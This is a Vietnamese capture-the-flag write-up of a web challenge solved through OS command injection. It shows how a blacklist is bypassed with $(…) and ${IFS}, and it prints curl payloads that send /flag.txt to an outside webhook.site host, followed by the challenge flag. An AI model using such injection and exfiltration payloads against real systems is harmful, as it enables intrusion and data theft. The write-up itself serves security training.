CookieCTF - The Existed File
Description
Link challenge tại đây
Step
Đây là giao diện chính của challenge.
Thử nhập /flag.txt vẫn không có thay đổi gì. Ta thử nhập cat /flag.txt xem có xem được flag không nhưng lại hiện ra thông báo Blacklist characters detected!.
Kiểm tra soucre code có thể thấy luồng hoạt động của server.
Đoạn code này loại bỏ khoảng trắng của input người dùng nhập vào. Nó sử dụng phương thức translate() của lớp string để thay thế tất cả các ký tự khoảng trắng bằng giá trị None.
Sau đó sẽ sử dung hàm is_blacklisted để kiểm tra input có nằm trong blacklist hay không.
Có thể thấy blacklist đã loại bỏ hầu hết các câu lệnh giúp ta đọc được file flag, tuy nhiên anh dev có lẽ đã quên mất filter 1 cái nữa đó là $(command). Câu lệnh này tương đương với sử dụng dấu backstick.
Quay lại challenge thử chạy luôn nhưng nó vẫn không xuất được nội dung
Tới đây ta để ý blacklist không lọc lệnh curl nên ta có thể gửi file flag qua host khác để đọc bằng option -F.
Ở đây mình sử dụng webhook.site để làm host nhận file.
Payload: curl -F @/flag.txt https://webhook.site/407cb1c3-4316-4cb8-8b9c-4ece7abf8d11
Nhưng vẫn còn hàm translate() loại bỏ khoảng trắng của input. Search gg một lúc thì mình tìm được cái này:
Có thể sử dụng ${IFS} để thay thế các ký tự <space> <tab> <newline>.
Payload: $(curl${IFS}-F${IFS}file=@/flag.txt${IFS}https://webhook.site/407cb1c3-4316-4cb8-8b9c-4ece7abf8d11)
Tải file flag.txtvề ta được flag:
CHH{os_c0mManD_INj3cTi0N_bypa5S_FIL7Er_b1f4b3371b6a365f47334d3ec07a8d0e}